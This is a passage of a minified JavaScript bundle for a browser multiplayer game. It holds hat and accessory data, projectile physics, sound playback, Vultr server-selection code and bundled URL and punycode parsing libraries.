name: "Fez Hat",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 42,
name: "Enigma Hat",
price: 0,
scale: 120,
desc: "join the enigma army"
}, {
id: 43,
name: "Blitz Hat",
price: 0,
scale: 120,
desc: "hey everybody i'm blitz"
}, {
id: 49,
name: "Bob XIII Hat",
price: 0,
scale: 120,
desc: "like and subscribe"
}, {
id: 57,
name: "Pumpkin",
price: 50,
scale: 120,
desc: "Spooooky"
}, {
id: 8,
name: "Bummle Hat",
price: 100,
scale: 120,
desc: "no effect"
}, {
id: 2,
name: "Straw Hat",
price: 500,
scale: 120,
desc: "no effect"
}, {
id: 15,
name: "Winter Cap",
price: 600,
scale: 120,
desc: "allows you to move at normal speed in snow",
coldM: 1
}, {
id: 5,
name: "Cowboy Hat",
price: 1e3,
scale: 120,
desc: "no effect"
}, {
id: 4,
name: "Ranger Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 18,
name: "Explorer Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 31,
name: "Flipper Hat",
price: 2500,
scale: 120,
desc: "have more control while in water",
watrImm: !0
}, {
id: 1,
name: "Marksman Cap",
price: 3e3,
scale: 120,
desc: "increases arrow speed and range",
aMlt: 1.3
}, {
id: 10,
name: "Bush Gear",
price: 3e3,
scale: 160,
desc: "allows you to disguise yourself as a bush"
}, {
id: 48,
name: "Halo",
price: 3e3,
scale: 120,
desc: "no effect"
}, {
id: 6,
name: "Soldier Helmet",
price: 4e3,
scale: 120,
desc: "reduces damage taken but slows movement",
spdMult: .94,
dmgMult: .75
}, {
id: 23,
name: "Anti Venom Gear",
price: 4e3,
scale: 120,
desc: "makes you immune to poison",
poisonRes: 1
}, {
id: 13,
name: "Medic Gear",
price: 5e3,
scale: 110,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 9,
name: "Miners Helmet",
price: 5e3,
scale: 120,
desc: "earn 1 extra gold per resource",
extraGold: 1
}, {
id: 32,
name: "Musketeer Hat",
price: 5e3,
scale: 120,
desc: "reduces cost of projectiles",
projCost: .5
}, {
id: 7,
name: "Bull Helmet",
price: 6e3,
scale: 120,
desc: "increases damage done but drains health",
healthRegen: -5,
dmgMultO: 1.5,
spdMult: .96
}, {
id: 22,
name: "Emp Helmet",
price: 6e3,
scale: 120,
desc: "turrets won't attack but you move slower",
antiTurret: 1,
spdMult: .7
}, {
id: 12,
name: "Booster Hat",
price: 6e3,
scale: 120,
desc: "increases your movement speed",
spdMult: 1.16
}, {
id: 26,
name: "Barbarian Armor",
price: 8e3,
scale: 120,
desc: "knocks back enemies that attack you",
dmgK: .6
}, {
id: 21,
name: "Plague Mask",
price: 1e4,
scale: 120,
desc: "melee attacks deal poison damage",
poisonDmg: 5,
poisonTime: 6
}, {
id: 46,
name: "Bull Mask",
price: 1e4,
scale: 120,
desc: "bulls won't target you unless you attack them",
bullRepel: 1
}, {
id: 14,
name: "Windmill Hat",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "generates points while worn",
pps: 1.5
}, {
id: 11,
name: "Spike Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "deal damage to players that damage you",
dmg: .45
}, {
id: 53,
name: "Turret Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "you become a walking turret",
turret: {
proj: 1,
range: 700,
rate: 2500
},
spdMult: .7
}, {
id: 20,
name: "Samurai Armor",
price: 12e3,
scale: 120,
desc: "increased attack speed and fire rate",
atkSpd: .78
}, {
id: 58,
name: "Dark Knight",
price: 12e3,
scale: 120,
desc: "restores health when you deal damage",
healD: .4
}, {
id: 27,
name: "Scavenger Gear",
price: 15e3,
scale: 120,
desc: "earn double points for each kill",
kScrM: 2
}, {
id: 40,
name: "Tank Gear",
price: 15e3,
scale: 120,
desc: "increased damage to buildings but slower movement",
spdMult: .3,
bDmg: 3.3
}, {
id: 52,
name: "Thief Gear",
price: 15e3,
scale: 120,
desc: "steal half of a players gold when you kill them",
goldSteal: .5
}, {
id: 55,
name: "Bloodthirster",
price: 2e4,
scale: 120,
desc: "Restore Health when dealing damage. And increased damage",
healD: .25,
dmgMultO: 1.2
}, {
id: 56,
name: "Assassin Gear",
price: 2e4,
scale: 120,
desc: "Go invisible when not moving. Can't eat. Increased speed",
noEat: !0,
spdMult: 1.1,
invisTimer: 1e3
}],
e.exports.accessories = [{
id: 12,
name: "Snowball",
price: 1e3,
scale: 105,
xOff: 18,
desc: "no effect"
}, {
id: 9,
name: "Tree Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 10,
name: "Stone Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 3,
name: "Cookie Cape",
price: 1500,
scale: 90,
desc: "no effect"
}, {
id: 8,
name: "Cow Cape",
price: 2e3,
scale: 90,
desc: "no effect"
}, {
id: 11,
name: "Monkey Tail",
price: 2e3,
scale: 97,
xOff: 25,
desc: "Super speed but reduced damage",
spdMult: 1.35,
dmgMultO: .2
}, {
id: 17,
name: "Apple Basket",
price: 3e3,
scale: 80,
xOff: 12,
desc: "slowly regenerates health over time",
healthRegen: 1
}, {
id: 6,
name: "Winter Cape",
price: 3e3,
scale: 90,
desc: "no effect"
}, {
id: 4,
name: "Skull Cape",
price: 4e3,
scale: 90,
desc: "no effect"
}, {
id: 5,
name: "Dash Cape",
price: 5e3,
scale: 90,
desc: "no effect"
}, {
id: 2,
name: "Dragon Cape",
price: 6e3,
scale: 90,
desc: "no effect"
}, {
id: 1,
name: "Super Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 7,
name: "Troll Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 14,
name: "Thorns",
price: 1e4,
scale: 115,
xOff: 20,
desc: "no effect"
}, {
id: 15,
name: "Blockades",
price: 1e4,
scale: 95,
xOff: 15,
desc: "no effect"
}, {
id: 20,
name: "Devils Tail",
price: 1e4,
scale: 95,
xOff: 20,
desc: "no effect"
}, {
id: 16,
name: "Sawblade",
price: 12e3,
scale: 90,
spin: !0,
xOff: 0,
desc: "deal damage to players that damage you",
dmg: .15
}, {
id: 13,
name: "Angel Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 19,
name: "Shadow Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "increased movement speed",
spdMult: 1.1
}, {
id: 18,
name: "Blood Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "restores health when you deal damage",
healD: .2
}, {
id: 21,
name: "Corrupt X Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "deal damage to players that damage you",
dmg: .25
}]
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a) {
this.init = function(e, t, n, i, r, s, o, c, l) {
this.active = !0,
this.indx = e,
this.x = t,
this.y = n,
this.dir = i,
this.skipMov = !0,
this.speed = r,
this.dmg = s,
this.scale = c,
this.range = o,
this.owner = l,
a && (this.sentTo = {})
}
;
var o, c = [];
this.update = function(l) {
if (this.active) {
var h, u = this.speed * l;
if (this.skipMov ? this.skipMov = !1 : (this.x += u *
Math.cos(this.dir),
this.y += u * Math.sin(this.dir),
this.range -= u,
this.range <= 0 && (this.x += this.range * Math.cos(this.dir),
this.y += this.range * Math.sin(this.dir),
u = 1,
this.range = 0,
this.active = !1)),
a) {
for (var f = 0; f < e.length; ++f)
!this.sentTo[e[f].id] && e[f].canSee(this) &&
(this.sentTo[e[f].id] = 1,
a.send(e[f].id, "18", s.fixTo(this.x, 1), s.fixTo(this.y,
1), s.fixTo(this.dir, 2), s.fixTo(this.range, 1), this.speed, this.indx,
this.layer, this.sid));
for (c.length = 0,
f = 0; f < e.length + t.length; ++f)
!(o = e[f] || t[f - e.length]).alive || o == this.owner ||
this.owner.team && o.team == this.owner.team || s.lineInRect(o.x - o.scale, o.y -
o.scale, o.x + o.scale, o.y + o.scale, this.x, this.y, this.x + u *
Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(o);
for (var d = n.getGridArrays(this.x, this.y, this.scale), p =
0; p < d.length; ++p)
for (var g = 0; g < d[p].length; ++g)
h = (o = d[p][g]).getScale(),
o.active && this.ignoreObj != o.sid && this.layer <=
o.layer && c.indexOf(o) < 0 && !o.ignoreCollision && s.lineInRect(o.x - h, o.y - h,
o.x + h, o.y + h, this.x, this.y, this.x + u * Math.cos(this.dir), this.y + u *
Math.sin(this.dir)) && c.push(o);
if (c.length > 0) {
var m = null
, y = null
, k = null;
for (f = 0; f < c.length; ++f)
k = s.getDistance(this.x, this.y, c[f].x, c[f].y),
(null == y || k < y) && (y = k,
m = c[f]);
if (m.isPlayer || m.isAI) {
var v = .3 * (m.weightM || 1);
m.xVel += v * Math.cos(this.dir),
m.yVel += v * Math.sin(this.dir),
null != m.weaponIndex &&
i.weapons[m.weaponIndex].shield && s.getAngleDist(this.dir + Math.PI, m.dir) <=
r.shieldAngle || m.changeHealth(-this.dmg, this.owner, this.owner)
} else
for (m.projDmg && m.health && m.changeHealth(-this.dmg)
&& n.disableObj(m),
f = 0; f < e.length; ++f)
e[f].active && (m.sentTo[e[f].id] && (m.active ?
e[f].canSee(m) && a.send(e[f].id, "8", s.fixTo(this.dir, 2), m.sid) :
a.send(e[f].id, "12", m.sid)),
m.active || m.owner != e[f] ||
e[f].changeItemCount(m.group.id, -1));
for (this.active = !1,
f = 0; f < e.length; ++f)
this.sentTo[e[f].id] && a.send(e[f].id, "19", this.sid,
s.fixTo(y, 1))
}
}
}
}
}
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a, o, c) {
this.addProjectile = function(l, h, u, f, d, p, g, m, y) {
for (var k, v = s.projectiles[p], w = 0; w < t.length; ++w)
if (!t[w].active) {
k = t[w];
break
}
return k || ((k = new e(n,i,r,s,a,o,c)).sid = t.length,
t.push(k)),
k.init(p, l, h, u, d, v.dmg, f, v.scale, g),
k.ignoreObj = m,
k.layer = y || v.layer,
k.src = v.src,
k
}
}
}
, function(e, t) {
e.exports.obj = function(e, t) {
var n;
this.sounds = [],
this.active = !0,
this.play = function(t, i, r) {
i && this.active && ((n = this.sounds[t]) || (n = new Howl({
src: ".././sound/" + t + ".mp3"
}),
this.sounds[t] = n),
r && n.isPlaying || (n.isPlaying = !0,
n.play(),
n.volume((i || 1) * e.volumeMult),
n.loop(r)))
}
,
this.toggleMute = function(e, t) {
(n = this.sounds[e]) && n.mute(t)
}
,
this.stop = function(e) {
(n = this.sounds[e]) && (n.stop(),
n.isPlaying = !1)
}
}
}
, function(e, t, n) {
var i = n(60)
, r = n(67);
function s(e, t, n, i, r) {
"localhost" == location.hostname && (window.location.hostname =
"127.0.0.1"),
this.debugLog = !1,
this.baseUrl = e,
this.lobbySize = n,
this.devPort = t,
this.lobbySpread = i,
this.rawIPs = !!r,
this.server = void 0,
this.gameIndex = void 0,
this.callback = void 0,
this.errorCallback = void 0,
this.processServers(vultr.servers)
}
s.prototype.regionInfo = {
0: {
name: "Local",
latitude: 0,
longitude: 0
},
"vultr:1": {
name: "New Jersey",
latitude: 40.1393329,
longitude: -75.8521818
},
"vultr:2": {
name: "Chicago",
latitude: 41.8339037,
longitude: -87.872238
},
"vultr:3": {
name: "Dallas",
latitude: 32.8208751,
longitude: -96.8714229
},
"vultr:4": {
name: "Seattle",
latitude: 47.6149942,
longitude: -122.4759879
},
"vultr:5": {
name: "Los Angeles",
latitude: 34.0207504,
longitude: -118.691914
},
"vultr:6": {
name: "Atlanta",
latitude: 33.7676334,
longitude: -84.5610332
},
"vultr:7": {
name: "Amsterdam",
latitude: 52.3745287,
longitude: 4.7581878
},
"vultr:8": {
name: "London",
latitude: 51.5283063,
longitude: -.382486
},
"vultr:9": {
name: "Frankfurt",
latitude: 50.1211273,
longitude: 8.496137
},
"vultr:12": {
name: "Silicon Valley",
latitude: 37.4024714,
longitude: -122.3219752
},
"vultr:19": {
name: "Sydney",
latitude: -33.8479715,
longitude: 150.651084
},
"vultr:24": {
name: "Paris",
latitude: 48.8588376,
longitude: 2.2773454
},
"vultr:25": {
name: "Tokyo",
latitude: 35.6732615,
longitude: 139.569959
},
"vultr:39": {
name: "Miami",
latitude: 25.7823071,
longitude: -80.3012156
},
"vultr:40": {
name: "Singapore",
latitude: 1.3147268,
longitude: 103.7065876
}
},
s.prototype.start = function(e, t) {
this.callback = e,
this.errorCallback = t;
var n = this.parseServerQuery();
n ? (this.log("Found server in query."),
this.password = n[3],
this.connect(n[0], n[1], n[2])) : (this.log("Pinging servers..."),
this.pingServers())
}
,
s.prototype.parseServerQuery = function() {
var e = i.parse(location.href, !0)
, t = e.query.server;
if ("string" == typeof t) {
var n = t.split(":");
if (3 == n.length) {
var r = n[0]
, s = parseInt(n[1])
, a = parseInt(n[2]);
return "0" == r || r.startsWith("vultr:") || (r = "vultr:" + r),
[r, s, a, e.query.password]
}
this.errorCallback("Invalid number of server parameters in " + t)
}
}
,
s.prototype.findServer = function(e, t) {
var n = this.servers[e];
if (Array.isArray(n)) {
for (var i = 0; i < n.length; i++) {
var r = n[i];
if (r.index == t)
return r
}
console.warn("Could not find server in region " + e + " with index " +
t + ".")
} else
this.errorCallback("No server list for region " + e)
}
,
s.prototype.pingServers = function() {
var e = this
, t = [];
for (var n in this.servers)
if (this.servers.hasOwnProperty(n)) {
var i = this.servers[n]
, r = i[Math.floor(Math.random() * i.length)];
null != r ? function(i, r) {
var s = new XMLHttpRequest;
s.onreadystatechange = function(i) {
var s = i.target;
if (4 == s.readyState)
if (200 == s.status) {
for (var a = 0; a < t.length; a++)
t[a].abort();
e.log("Connecting to region", r.region);
var o = e.seekServer(r.region);
e.connect(o[0], o[1], o[2])
} else
console.warn("Error pinging " + r.ip + " in region
" + n)
}
;
var a = "//" + e.serverAddress(r.ip, !0) + ":" +
e.serverPort(r) + "/ping";
s.open("GET", a, !0),
s.send(null),
e.log("Pinging", a),
t.push(s)
}(0, r) : console.log("No target server for region " + n)
}
}
,
s.prototype.seekServer = function(e, t, n) {
null == n && (n = "random"),
null == t && (t = !1);
const i = ["random"];
var r = this.lobbySize
, s = this.lobbySpread
, a = this.servers[e].flatMap((function(e) {
var t = 0;
return e.games.map((function(n) {
var i = t++;
return {
region: e.region,
index: e.index * e.games.length + i,
gameIndex: i,
gameCount: e.games.length,
playerCount: n.playerCount,
isPrivate: n.isPrivate
}
}
))
}
)).filter((function(e) {
return !e.isPrivate
}
)).filter((function(e) {
return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
}
)).filter((function(e) {
return "random" == n || i[e.index % i.length].key == n
}
)).sort((function(e, t) {
return t.playerCount - e.playerCount
}
)).filter((function(e) {
return e.playerCount < r
}
));
if (t && a.reverse(),
0 != a.length) {
var o = Math.min(s, a.length)
, c = Math.floor(Math.random() * o)
, l = a[c = Math.min(c, a.length - 1)]
, h = l.region
, u = (c = Math.floor(l.index / l.gameCount),
l.index % l.gameCount);
return this.log("Found server."),
[h, c, u]
}
this.errorCallback("No open servers.")
}
,
s.prototype.connect = function(e, t, n) {
if (!this.connected) {
var i = this.findServer(e, t);
null != i ? (this.log("Connecting to server", i, "with game index", n),
i.games[n].playerCount >= this.lobbySize ? this.errorCallback("Server
is already full.") : (window.history.replaceState(document.title, document.title,
this.generateHref(e, t, n, this.password)),
this.server = i,
this.gameIndex = n,
this.log("Calling callback with address", this.serverAddress(i.ip), "on
port", this.serverPort(i), "with game index", n),
this.callback(this.serverAddress(i.ip), this.serverPort(i), n))) :
this.errorCallback("Failed to find server for region " + e + " and index " + t)
}
}
,
s.prototype.switchServer = function(e, t, n, i) {
this.switchingServers = !0,
window.location.href = this.generateHref(e, t, n, i)
}
,
s.prototype.generateHref = function(e, t, n, i) {
var r = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + n;
return i && (r += "&password=" + encodeURIComponent(i)),
r
}
,
s.prototype.serverAddress = function(e, t) {
return "127.0.0.1" == e || "7f000001" == e ||
"903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this.rawIPs ?
t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e + "." +
this.baseUrl
}
,
s.prototype.serverPort = function(e) {
return 0 == e.region ? this.devPort : location.protocol.startsWith("https")
? 443 : 80
}
,
s.prototype.processServers = function(e) {
for (var t = {}, n = 0; n < e.length; n++) {
var i = e[n]
, r = t[i.region];
null == r && (r = [],
t[i.region] = r),
r.push(i)
}
for (var s in t)
t[s] = t[s].sort((function(e, t) {
return e.index - t.index
}
));
this.servers = t
}
,
s.prototype.ipToHex = function(e) {
return e.split(".").map(e=>("00" + parseInt(e).toString(16)).substr(-
2)).join("").toLowerCase()
}
,
s.prototype.hashIP = function(e) {
return r(this.ipToHex(e))
}
,
s.prototype.log = function() {
return this.debugLog ? console.log.apply(void 0, arguments) :
console.verbose ? console.verbose.apply(void 0, arguments) : void 0
}
,
s.prototype.stripRegion = function(e) {
return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") && (e
= e.slice(3)),
e
}
,
window.testVultrClient = function() {
var e = 1;
function t(t, n) {
(t = "" + t) == (n = "" + n) ? console.log(`Assert ${e} passed.`) :
console.warn(`Assert ${e} failed. Expected ${n}, got ${t}.`),
e++
}
var n = new s("test.io",-1,5,1,!1);
n.errorCallback = function(e) {}
,
n.processServers(function(e) {
var t = [];
for (var n in e)
for (var i = e[n], r = 0; r < i.length; r++)
t.push({
ip: n + ":" + r,
scheme: "testing",
region: n,
index: r,
games: i[r].map(e=>({
playerCount: e,
isPrivate: !1
}))
});
return t
}({
1: [[0, 0, 0, 0], [0, 0, 0, 0]],
2: [[5, 1, 0, 0], [0, 0, 0, 0]],
3: [[5, 0, 1, 5], [0, 0, 0, 0]],
4: [[5, 1, 1, 5], [1, 0, 0, 0]],
5: [[5, 1, 1, 5], [1, 0, 4, 0]],
6: [[5, 5, 5, 5], [2, 3, 1, 4]],
7: [[5, 5, 5, 5], [5, 5, 5, 5]]
})),
t(n.seekServer(1, !1), [1, 0, 0]),
t(n.seekServer(1, !0), [1, 1, 3]),
t(n.seekServer(2, !1), [2, 0, 1]),
t(n.seekServer(2, !0), [2, 1, 3]),
t(n.seekServer(3, !1), [3, 0, 2]),
t(n.seekServer(3, !0), [3, 1, 3]),
t(n.seekServer(4, !1), [4, 0, 1]),
t(n.seekServer(4, !0), [4, 1, 3]),
t(n.seekServer(5, !1), [5, 1, 2]),
t(n.seekServer(5, !0), [5, 1, 3]),
t(n.seekServer(6, !1), [6, 1, 3]),
t(n.seekServer(6, !0), void 0),
t(n.seekServer(7, !1), void 0),
t(n.seekServer(7, !0), void 0),
console.log("Tests passed.")
}
;
var a = function(e, t) {
return e.concat(t)
};
Array.prototype.flatMap = function(e) {
return function(e, t) {
return t.map(e).reduce(a, [])
}(e, this)
}
,
e.exports = s
}
, function(e, t, n) {
"use strict";
var i = n(61)
, r = n(63);
function s() {
this.protocol = null,
this.slashes = null,
this.auth = null,
this.host = null,
this.port = null,
this.hostname = null,
this.hash = null,
this.search = null,
this.query = null,
this.pathname = null,
this.path = null,
this.href = null
}
t.parse = v,
t.resolve = function(e, t) {
return v(e, !1, !0).resolve(t)
}
,
t.resolveObject = function(e, t) {
return e ? v(e, !1, !0).resolveObject(t) : t
}
,
t.format = function(e) {
return r.isString(e) && (e = v(e)),
e instanceof s ? e.format() : s.prototype.format.call(e)
}
,
t.Url = s;
var a = /^([a-z0-9.+-]+:)/i
, o = /:[0-9]*$/
, c = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/
, l = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r",
"\n", "\t"])
, h = ["'"].concat(l)
, u = ["%", "/", "?", ";", "#"].concat(h)
, f = ["/", "?", "#"]
, d = /^[+a-z0-9A-Z_-]{0,63}$/
, p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/
, g = {
javascript: !0,
"javascript:": !0
}
, m = {
javascript: !0,
"javascript:": !0
}
, y = {
http: !0,
https: !0,
ftp: !0,
gopher: !0,
file: !0,
"http:": !0,
"https:": !0,
"ftp:": !0,
"gopher:": !0,
"file:": !0
}
, k = n(64);
function v(e, t, n) {
if (e && r.isObject(e) && e instanceof s)
return e;
var i = new s;
return i.parse(e, t, n),
i
}
s.prototype.parse = function(e, t, n) {
if (!r.isString(e))
throw new TypeError("Parameter 'url' must be a string, not " + typeof
e);
var s = e.indexOf("?")
, o = -1 !== s && s < e.indexOf("#") ? "?" : "#"
, l = e.split(o);
l[0] = l[0].replace(/\\/g, "/");
var v = e = l.join(o);
if (v = v.trim(),
!n && 1 === e.split("#").length) {
var w = c.exec(v);
if (w)
return this.path = v,
this.href = v,
this.pathname = w[1],
w[2] ? (this.search = w[2],
this.query = t ? k.parse(this.search.substr(1)) :
this.search.substr(1)) : t && (this.search = "",
this.query = {}),
this
}
var b = a.exec(v);
if (b) {
var x = (b = b[0]).toLowerCase();
this.protocol = x,
v = v.substr(b.length)
}
if (n || b || v.match(/^\/\/[^@\/]+@[^@\/]+/)) {
var S = "//" === v.substr(0, 2);
!S || b && m[b] || (v = v.substr(2),
this.slashes = !0)
}
if (!m[b] && (S || b && !y[b])) {
for (var T, I, E = -1, M = 0; M < f.length; M++)
-1 !== (A = v.indexOf(f[M])) && (-1 === E || A < E) && (E = A);
for (-1 !== (I = -1 === E ? v.lastIndexOf("@") : v.lastIndexOf("@", E))
&& (T = v.slice(0, I),
v = v.slice(I + 1),
this.auth = decodeURIComponent(T)),
E = -1,
M = 0; M < u.length; M++) {
var A;
-1 !== (A = v.indexOf(u[M])) && (-1 === E || A < E) && (E = A)
}
-1 === E && (E = v.length),
this.host = v.slice(0, E),
v = v.slice(E),
this.parseHost(),
this.hostname = this.hostname || "";
var P = "[" === this.hostname[0] && "]" ===
this.hostname[this.hostname.length - 1];
if (!P)
for (var B = this.hostname.split(/\./), C = (M = 0,
B.length); M < C; M++) {
var O = B[M];
if (O && !O.match(d)) {
for (var R = "", j = 0, _ = O.length; j < _; j++)
O.charCodeAt(j) > 127 ? R += "x" : R += O[j];
if (!R.match(d)) {
var U = B.slice(0, M)
, D = B.slice(M + 1)
, L = O.match(p);
L && (U.push(L[1]),
D.unshift(L[2])),
D.length && (v = "/" + D.join(".") + v),
this.hostname = U.join(".");
break
}
}
}
this.hostname.length > 255 ? this.hostname = "" : this.hostname =
this.hostname.toLowerCase(),
P || (this.hostname = i.toASCII(this.hostname));
var F = this.port ? ":" + this.port : ""
, z = this.hostname || "";
this.host = z + F,
this.href += this.host,
P && (this.hostname = this.hostname.substr(1, this.hostname.length -
2),
"/" !== v[0] && (v = "/" + v))
}
if (!g[x])
for (M = 0,
C = h.length; M < C; M++) {
var H = h[M];
if (-1 !== v.indexOf(H)) {
var V = encodeURIComponent(H);
V === H && (V = escape(H)),
v = v.split(H).join(V)
}
}
var q = v.indexOf("#");
-1 !== q && (this.hash = v.substr(q),
v = v.slice(0, q));
var Y = v.indexOf("?");
if (-1 !== Y ? (this.search = v.substr(Y),
this.query = v.substr(Y + 1),
t && (this.query = k.parse(this.query)),
v = v.slice(0, Y)) : t && (this.search = "",
this.query = {}),
v && (this.pathname = v),
y[x] && this.hostname && !this.pathname && (this.pathname = "/"),
this.pathname || this.search) {
F = this.pathname || "";
var W = this.search || "";
this.path = F + W
}
return this.href = this.format(),
this
}
,
s.prototype.format = function() {
var e = this.auth || "";
e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"),
e += "@");
var t = this.protocol || ""
, n = this.pathname || ""
, i = this.hash || ""
, s = !1
, a = "";
this.host ? s = e + this.host : this.hostname && (s = e + (-1 ===
this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"),
this.port && (s += ":" + this.port)),
this.query && r.isObject(this.query) && Object.keys(this.query).length &&
(a = k.stringify(this.query));
var o = this.search || a && "?" + a || "";
return t && ":" !== t.substr(-1) && (t += ":"),
this.slashes || (!t || y[t]) && !1 !== s ? (s = "//" + (s || ""),
n && "/" !== n.charAt(0) && (n = "/" + n)) : s || (s = ""),
i && "#" !== i.charAt(0) && (i = "#" + i),
o && "?" !== o.charAt(0) && (o = "?" + o),
t + s + (n = n.replace(/[?#]/g, (function(e) {
return encodeURIComponent(e)
}
))) + (o = o.replace("#", "%23")) + i
}
,
s.prototype.resolve = function(e) {
return this.resolveObject(v(e, !1, !0)).format()
}
,
s.prototype.resolveObject = function(e) {
if (r.isString(e)) {
var t = new s;
t.parse(e, !1, !0),
e = t
}
for (var n = new s, i = Object.keys(this), a = 0; a < i.length; a++) {
var o = i[a];
n[o] = this[o]
}
if (n.hash = e.hash,
"" === e.href)
return n.href = n.format(),
n;
if (e.slashes && !e.protocol) {
for (var c = Object.keys(e), l = 0; l < c.length; l++) {
var h = c[l];
"protocol" !== h && (n[h] = e[h])
}
return y[n.protocol] && n.hostname && !n.pathname && (n.path =
n.pathname = "/"),
n.href = n.format(),
n
}
if (e.protocol && e.protocol !== n.protocol) {
if (!y[e.protocol]) {
for (var u = Object.keys(e), f = 0; f < u.length; f++) {
var d = u[f];
n[d] = e[d]
}
return n.href = n.format(),
n
}
if (n.protocol = e.protocol,
e.host || m[e.protocol])
n.pathname = e.pathname;
else {
for (var p = (e.pathname || "").split("/"); p.length && !(e.host =
p.shift()); )
;
e.host || (e.host = ""),
e.hostname || (e.hostname = ""),
"" !== p[0] && p.unshift(""),
p.length < 2 && p.unshift(""),
n.pathname = p.join("/")
}
if (n.search = e.search,
n.query = e.query,
n.host = e.host || "",
n.auth = e.auth,
n.hostname = e.hostname || e.host,
n.port = e.port,
n.pathname || n.search) {
var g = n.pathname || ""
, k = n.search || "";
n.path = g + k
}
return n.slashes = n.slashes || e.slashes,
n.href = n.format(),
n
}
var v = n.pathname && "/" === n.pathname.charAt(0)
, w = e.host || e.pathname && "/" === e.pathname.charAt(0)
, b = w || v || n.host && e.pathname
, x = b
, S = n.pathname && n.pathname.split("/") || []
, T = (p = e.pathname && e.pathname.split("/") || [],
n.protocol && !y[n.protocol]);
if (T && (n.hostname = "",
n.port = null,
n.host && ("" === S[0] ? S[0] = n.host : S.unshift(n.host)),
n.host = "",
e.protocol && (e.hostname = null,
e.port = null,
e.host && ("" === p[0] ? p[0] = e.host : p.unshift(e.host)),
e.host = null),
b = b && ("" === p[0] || "" === S[0])),
w)
n.host = e.host || "" === e.host ? e.host : n.host,
n.hostname = e.hostname || "" === e.hostname ? e.hostname : n.hostname,
n.search = e.search,
n.query = e.query,
S = p;
else if (p.length)
S || (S = []),
S.pop(),
S = S.concat(p),
n.search = e.search,
n.query = e.query;
else if (!r.isNullOrUndefined(e.search))
return T && (n.hostname = n.host = S.shift(),
(P = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) &&
(n.auth = P.shift(),
n.host = n.hostname = P.shift())),
n.search = e.search,
n.query = e.query,
r.isNull(n.pathname) && r.isNull(n.search) || (n.path = (n.pathname ?
n.pathname : "") + (n.search ? n.search : "")),
n.href = n.format(),
n;
if (!S.length)
return n.pathname = null,
n.search ? n.path = "/" + n.search : n.path = null,
n.href = n.format(),
n;
for (var I = S.slice(-1)[0], E = (n.host || e.host || S.length > 1) && ("."
=== I || ".." === I) || "" === I, M = 0, A = S.length; A >= 0; A--)
"." === (I = S[A]) ? S.splice(A, 1) : ".." === I ? (S.splice(A, 1),
M++) : M && (S.splice(A, 1),
M--);
if (!b && !x)
for (; M--; M)
S.unshift("..");
!b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""),
E && "/" !== S.join("/").substr(-1) && S.push("");
var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
return T && (n.hostname = n.host = B ? "" : S.length ? S.shift() : "",
(P = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth
= P.shift(),
n.host = n.hostname = P.shift())),
(b = b || n.host && S.length) && !B && S.unshift(""),
S.length ? n.pathname = S.join("/") : (n.pathname = null,
n.path = null),
r.isNull(n.pathname) && r.isNull(n.search) || (n.path = (n.pathname ?
n.pathname : "") + (n.search ? n.search : "")),
n.auth = e.auth || n.auth,
n.slashes = n.slashes || e.slashes,
n.href = n.format(),
n
}
,
s.prototype.parseHost = function() {
var e = this.host
, t = o.exec(e);
t && (":" !== (t = t[0]) && (this.port = t.substr(1)),
e = e.substr(0, e.length - t.length)),
e && (this.hostname = e)
}
}
, function(e, t, n) {
(function(e, i) {
var r;
/*! https://mths.be/punycode v1.4.1 by @mathias */
!function(s) {
t && t.nodeType,
e && e.nodeType;
var a = "object" == typeof i && i;
a.global !== a && a.window !== a && a.self;
var o, c = 2147483647, l = 36, h = /^xn--/, u = /[^\x20-\x7E]/, f = /[\
x2E\u3002\uFF0E\uFF61]/g, d = {
overflow: "Overflow: input needs wider integers to process",
"not-basic": "Illegal input >= 0x80 (not a basic code point)",
"invalid-input": "Invalid input"
}, p = Math.floor, g = String.fromCharCode;
function m(e) {
throw new RangeError(d[e])
}
function y(e, t) {
for (var n = e.length, i = []; n--; )
i[n] = t(e[n]);
return i
}
function k(e, t) {
var n = e.split("@")
, i = "";
return n.length > 1 && (i = n[0] + "@",
e = n[1]),
i + y((e = e.replace(f, ".")).split("."), t).join(".")
}
function v(e) {
for (var t, n, i = [], r = 0, s = e.length; r < s; )
(t = e.charCodeAt(r++)) >= 55296 && t <= 56319 && r < s ? 56320
== (64512 & (n = e.charCodeAt(r++))) ? i.push(((1023 & t) << 10) + (1023 & n) +
65536) : (i.push(t),
r--) : i.push(t);
return i
}
function w(e) {
return y(e, (function(e) {
var t = "";
return e > 65535 && (t += g((e -= 65536) >>> 10 & 1023 |
55296),
e = 56320 | 1023 & e),
t + g(e)
}
)).join("")
}
function b(e) {
